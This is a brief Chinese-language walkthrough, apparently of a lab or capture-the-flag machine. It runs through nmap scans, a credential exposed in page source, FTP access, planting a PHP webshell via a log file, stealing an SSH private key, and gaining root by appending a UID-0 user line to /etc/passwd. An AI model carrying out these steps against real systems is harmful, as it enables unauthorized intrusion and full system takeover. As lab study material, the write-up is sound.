一、信息收集
1、主机发现
nmap 192.168.2.0/24
2、端口扫描
nmap 192.168.2.120 -p-
3、目录扫描
dirsearch -u http://192.168.2.120
二、GetShell
步骤一:访问ip地址
步骤二:f12 查看网页源码,发现一个账号密码:logs/zg]E-b0]+8:(58G,尝试ssh连接,连接失败
步骤三:尝试ftp连接,连接成功
步骤四:发现backup_log.php文件,下载到本地查看,发现是日志文件,可能存在于logs目录下
get backup_log.php /home/kali/Desktop/backup.php
步骤五:在php文件中写入一句话木马,需要利用10001端口,查看日志文件
步骤六:蚁剑连接,查看/etc/passwd文件
步骤七:读取密钥 /media/USB_1/Stuff/Keys/id_rsa ,保存到本地,finalshell连接
三、提权
步骤一:sudo -l,发现可以用cat命令进行提权
步骤二:使用kali生成密码,写入一个高权限用户到/etc/passwd文件中,切换用户,成功提权
echo 'newroot:$1$C3IiTm6F$s.v.18n3OoZ66KELuBa2D1:0:0:/root:/bin/bash' >> /etc/passwd